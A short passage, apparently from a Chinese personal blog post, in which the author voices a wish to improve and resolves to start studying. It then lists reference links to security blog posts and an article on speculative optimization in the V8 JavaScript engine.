哎,我也想成为像他那么强,还有很长的路要走啊。md,不说那么多了,开卷!!!
参考:
https://www.anquanke.com/post/id/267518
https://blog.csdn.net/qq_45323960/article/details/130124693
https://blog.csdn.net/weixin_46483787/article/details/134934993
https://ponyfoo.com/articles/an-introduction-to-speculative-optimization-in-v8